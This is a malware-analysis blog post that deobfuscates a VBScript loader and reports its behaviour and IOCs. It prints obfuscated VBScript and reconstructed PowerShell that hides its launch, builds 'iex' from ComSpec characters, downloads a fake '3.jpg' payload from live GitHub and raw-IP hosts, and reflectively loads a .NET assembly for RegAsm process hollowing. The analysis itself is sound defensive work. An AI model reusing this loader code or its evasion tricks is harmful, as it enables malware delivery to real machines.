Nikhil "Kaido" Hegde

M&M: Malware and Musings

View on GitHub

Source

Analysis

Obfuscation

There were various forms of obfuscation used in the VBScript.

'eedfsfsdfadgfdgdefefefefsfdss
'jngkoFrm  jmabkbfAh
fkcmmdAFo = TimeSerial(7,9,9)
Public Const AceaAikd = "kdnpkicbm"
eFndckFd = TimeSerial(8,8,9)
Public Const fpkSermSF = "knmmdhg"
Set wshNetwork = WScript.CreateObject( "WScript.Net" & "work" )
Call Ugfdfging("%SYSTSeaemkhIhEMROOTSeaemkhIh%\System3SeaemkhIh2\WindowsSeaemkhIhPowerShSeaem")
Call Ugfdfging("khIhell\v1.0\pSeaemkhIhowershellSeaemkhIh.exe  $j=1SeaemkhIh6-59;$hd3Seaemkh")
...
Function Ugfdfging (Mfgffdfdf97)
iobpedbghcf = iobpedbghcf & Mfgffdfdf97
End function
Set dfgddfgfddfgdd = CreateObject( mgmeAcdh(87) & ""  & mgmeAcdh(83) & mgmeAcdh(99) & "ript.Shell"  )
Function mgmeAcdh(frdpomAikI)
mgmeAcdh = "_"
Do Until asc(mgmeAcdh) = frdpomAikI
For i = 0 To 2
Next
Karfotifn5 = int(rnd*2000)
If Karfotifn5 < (258-3) then 
mgmeAcdh = Chr(Karfotifn5)
end if 
Loop 
End Function

Deobfuscation

Utilities: https://github.com/nikhilh-20/re_tools/tree/main/vbs

> python .\vbs_strip_comments.py --input C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245.vbs --output C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass1.vbs
{"changed":126,"comment_lines_removed":126,"input_bytes":25742,"output_bytes":22632,"output_path":"C:\\Users\\Ashura\\Desktop\\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass1.vbs"}

> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass1.vbs --output C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass2.vbs --aggressive
{"changed":339,"input_bytes":22632,"output_bytes":12100,"output_path":"C:\\Users\\Ashura\\Desktop\\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass2.vbs"}

> python .\vbs_inline_sink_calls.py --input C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass2.vbs --output C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass3.vbs
{"calls_converted":114,"sink_defs_inlined":1,"input_bytes":12100,"output_bytes":13613,"output_path":"C:\\Users\\Ashura\\Desktop\\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass3.vbs"}

> python .\vbs_propagate_constants.py --input C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass3.vbs --output C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass4.vbs
{"changed":118,"substituted_reads":118,"input_bytes":13613,"output_bytes":529584,"output_path":"C:\\Users\\Ashura\\Desktop\\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass4.vbs"}

> python .\vbs_fold_concat.py --input C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass4.vbs --output C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass5.vbs
{"changed":121,"input_bytes":529584,"output_bytes":528749,"output_path":"C:\\Users\\Ashura\\Desktop\\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass5.vbs"}

> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass5.vbs --output C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass6.vbs
{"changed":119,"input_bytes":528749,"output_bytes":4760,"output_path":"C:\\Users\\Ashura\\Desktop\\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass6.vbs"}

Functionality

Prompt

/malware-analysis Analyze @C:\Users\Ashura\Desktop\06001901f62ea4aadcaf86557ca354e4d62c4ff125b25cc85b3c5dd4a735c245_pass6.vbs. Write report in markdown format into @report.md It should contain the below sections:

1. Executive summary
2. Details - avoid variable names granularity. retain behavioral specifics like created folder names, C2 contact, etc.
3. IOCs

Reference the source code when stating functionality. Like:
```<source_code>```
<functionality>

Use multiple Haiku sub-agents to confirm your findings. Use web search to ground your facts and assumptions.

Flowchart Prompt

Based on @C:\Users\Ashura\Desktop\report.md, can a Mermaid flowchart be written into FLOW.mmd? Keep the flowchart in natural language. Avoid variable name granularity. You can retain created folder names and contacted C2

Flowchart

flowchart TD
    Start([VBS script starts]) --> HostCheck{Computer name contains<br/>MAA1 / CAV / LNP2 / -PC?}
    HostCheck -- Yes --> Exit1([Quit silently — do not run])
    HostCheck -- No --> BuildShell[Spell out 'WScript.Shell' via a<br/>noisy brute-force character routine<br/>— junk filler for signature evasion]
    BuildShell --> LaunchPS[Launch a hidden PowerShell process<br/>no visible window, does not wait for it]
    LaunchPS --> Decode[Decode the embedded PowerShell command<br/>two-layer XOR + hex + Base64 decoding]
    Decode --> BuildIex[Build the word 'iex' at runtime from<br/>characters pulled out of the ComSpec<br/>environment variable, then run the<br/>decoded script through it]
    BuildIex --> SleepTLS[Wait 3 seconds, then force TLS 1.2<br/>for outgoing connections]
    SleepTLS --> Download{Download a file named '3.jpg'<br/>from a randomly chosen source}
    Download --> Src1[github.com/Orukemer/image<br/>releases download Image/3.jpg]
    Download --> Src2[http://45.225.135.160/downloads/3.jpg]
    Download --> Src3[http://107.174.251.112/img/3.jpg]
    Src1 --> GotFile[Downloaded file received<br/>disguised as a JPEG image]
    Src2 --> GotFile
    Src3 --> GotFile
    GotFile --> Extract[Extract a hidden .NET program from<br/>inside the image, found between<br/>literal '&lt;&lt;START&gt;&gt;' and '&lt;&lt;END&gt;&gt;' markers]
    Extract --> LoadMem[Load that .NET program directly into<br/>memory — nothing is written to disk<br/>at this stage]
    LoadMem --> RunMethod[Call into the loaded program, telling<br/>it to target a process named<br/>'RegAsm' running as 'x86']
    RunMethod --> Decoy[Side action: list top 5 processes<br/>by CPU usage — harmless noise,<br/>unrelated to infection]
    RunMethod --> Hollow[Start a legitimate Windows utility,<br/>RegAsm.exe 32-bit, in a suspended state]
    Hollow --> Inject[Hollow it out and inject the<br/>final malicious payload into it]
    Inject --> Resume[Resume the process so the injected<br/>code runs disguised as RegAsm.exe]
    Resume --> Unknown([Final payload capability unknown —<br/>not retrievable during this static analysis])

    Extract -.-> Note1[/Possible secondary staging link,<br/>moderate confidence: yaso.su/raw/F976GhLc/]

Report

Executive Summary

This VBScript is a lightweight first-stage loader. Before doing anything else it checks the infected machine’s computer name against a short list of substrings and silently exits if any match — a targeted-execution / exclusion guard rather than a broad sandbox check. It then builds the string "WScript.Shell" using a deliberately noisy, brute-force character-generation routine (pure signature-evasion filler with no functional purpose) and uses it to launch a hidden powershell.exe process.

The embedded PowerShell command is obfuscated with two layers of XOR/hex/Base64 encoding and, notably, builds the word "iex" (PowerShell’s alias for Invoke-Expression) at runtime by indexing three characters out of the %ComSpec% environment variable instead of writing iex/Invoke-Expression literally — a known technique for evading static string-based detections.

Once decoded, the PowerShell stage:

  1. Waits 3 seconds, then downloads a file from one of three hardcoded URLs (two raw IPs, one abusing a public GitHub “releases” asset), all disguised as a JPEG (3.jpg).
  2. Extracts a Base64-encoded .NET assembly embedded between literal <<START>> / <<END>> markers inside the downloaded file (an image-polyglot / steganography-style delivery of the next stage).
  3. Reflectively loads that assembly in-memory via a tiny helper class (deobfuscates to PhantomGate / LoadAssembly) — no file is dropped to disk for this stage.
  4. Invokes a method inside the loaded assembly, passing arguments that include the literal string "RegAsm" and "x86", consistent with the common process-hollowing technique of spawning a legitimate signed .NET binary (RegAsm.exe) suspended and injecting the final payload into it.

Details

Host exclusion check (execution guard)
Set wshNetwork = WScript.CreateObject( "WScript.Network" )
gddsfgd = wshNetwork.ComputerName
If  instr(ucase(gddsfgd), "MAA1") > 0 OR _
 instr(ucase(gddsfgd), "CAV") > 0 OR _
instr(ucase(gddsfgd), "LNP2")> 0 OR _
instr(ucase(gddsfgd), "-PC") > 0 Then 
WScript.Quit      
End if

On launch, the script reads the local computer name and immediately terminates (WScript.Quit) if the uppercased hostname contains MAA1, CAV, LNP2, or -PC. This is a small, specific exclusion list rather than a generic “VM/sandbox” hostname check — the mix of what look like short site/branch codes (MAA1, CAV, LNP2) plus a generic -PC suffix suggests this build was tuned to avoid specific known machines or environments rather than to defeat malware sandboxes broadly.

Decoy/filler obfuscation to build "WScript.Shell"
Set dfgddfgfddfgdd = CreateObject( mgmeAcdh(87) & ""  & mgmeAcdh(83) & mgmeAcdh(99) & "ript.Shell"  )
...
Function mgmeAcdh(frdpomAikI)
mgmeAcdh = "_"
Do Until asc(mgmeAcdh) = frdpomAikI
    For i = 0 To 2
    Next
Karfotifn5 = int(rnd*2000)
If Karfotifn5 < (258-3) then 
mgmeAcdh = Chr(Karfotifn5)
end if 
Loop 
End Function

mgmeAcdh(n) returns Chr(n) but does so via a brute-force loop that repeatedly generates random numbers with Rnd until it happens to land on the requested ASCII code, padded with a dead For i = 0 To 2 / Next loop. Functionally this is 100% equivalent to Chr(87) & Chr(83) & Chr(99) & "ript.Shell" = "WSc" + "ript.Shell" = "WScript.Shell". It exists purely to keep the literal string "WScript.Shell" (a common AV/heuristic signature trigger) out of the script body and to add noise/CPU-burning junk for basic static or timing-based analysis tools — it has no other effect.

Hidden PowerShell launch
dfgddfgfddfgdd.Run  "%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe  $j=16-59; ... ",0

The script runs PowerShell with window style 0 (hidden, no visible console) and does not wait for it to exit (WScript.Quit on line 40 ends the VBS host immediately after Run fires; the spawned powershell.exe keeps running independently). The command line itself is a single obfuscated PowerShell one-liner (decoded below).

Two-layer decode of the embedded PowerShell, and the iex-from-%ComSpec% trick

The one-liner defines a 10-character key (sjbpTXYgAk), derives two single-byte-repeating XOR keystreams from it (key XOR 0xAA, and key XOR 0x55), then:

.($env:ComSpec[4,26,25]-join'') $ymEccw

$env:ComSpec is C:\Windows\system32\cmd.exe; characters at (0-indexed) offsets 4, 26, 25 are i, e, x, so this expression evaluates to iex and is then invoked with the call operator — equivalent to Invoke-Expression $ymEccw, but with the literal strings iex/Invoke-Expression absent from the script. This exact character-index technique against $env:ComSpec for dynamically constructing iex has been documented in other PowerShell-based malware (e.g., in “ClickFix”-style loaders) as a way to defeat literal-string detections.

Independently re-implementing this exact XOR/hex/Base64 logic against the actual blobs in the file decodes cleanly to valid PowerShell (confirmed twice — once directly, once by an independent re-implementation), reproduced functionally below:

function _i($s){ <base64-decode $s, XOR every byte with 0x72, UTF8-decode> }   # small helper used to hide further strings

Start-Sleep -Seconds 3
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
# _i(...) decodes to a small C# source, compiled at runtime via Add-Type:
#   public class PhantomGate {
#       public static Assembly LoadAssembly(byte[] g){ return AppDomain.CurrentDomain.Load(g); }
#   }

function d($urls){ # tries each URL in random order via WebClient.DownloadData until one succeeds
    (Get-Random $urls -Count $urls.Count) | % { try { return (New-Object Net.WebClient).DownloadData($_) } catch {} }
}
function i($asmBytes,$typeName,$methodName,$args=@()){
    # reflectively loads $asmBytes via PhantomGate.LoadAssembly, finds $typeName, gets $methodName
    # (BindingFlags: Public,NonPublic,Static,Instance), instantiates if needed, and invokes it with $args
}

$urls = @(
  "http://github.com/Orukemer/image/releases/download/Image/3.jpg",
  "http://45.225.135.160/downloads/3.jpg",
  "http://107.174.251.112/img/3.jpg"
)
if (($bytes = d $urls) -and (($text = [Text.Encoding]::UTF8.GetString($bytes)) -match "<<START>>(.*?)<<END>>")) {
    i ([Convert]::FromBase64String($Matches[1])) "myprogram.Homees" "runss" @(<decoded-arg>, "0", "", "RegAsm", "0", "x86")
    Get-Process | sort CPU -desc | select -first 5 | ft Name,CPU   # decoy/noise action
}

Behavioral specifics revealed by the decode:


IOCs

Type Value Notes
URL http://github[.]com/Orukemer/image/releases/download/Image/3.jpg Stage-2 stager, disguised as JPG, abuses a public GitHub releases asset
URL http://45.225.135[.]160/downloads/3.jpg Stage-2 stager (raw IP), disguised as JPG
URL http://107.174.251[.]112/img/3.jpg Stage-2 stager (raw IP), disguised as JPG
IPv4 45.225.135[.]160 Hosting stage-2 stager; not found in public threat-intel searches at time of writing
IPv4 107.174.251[.]112 Hosting stage-2 stager; not found in public threat-intel searches at time of writing
GitHub repo github[.]com/Orukemer/image (release tag Image, asset 3.jpg) Abused for stage-2 hosting
Marker strings <<START>>, <<END>> Delimiters used to locate the embedded Base64 .NET assembly inside the downloaded “jpg”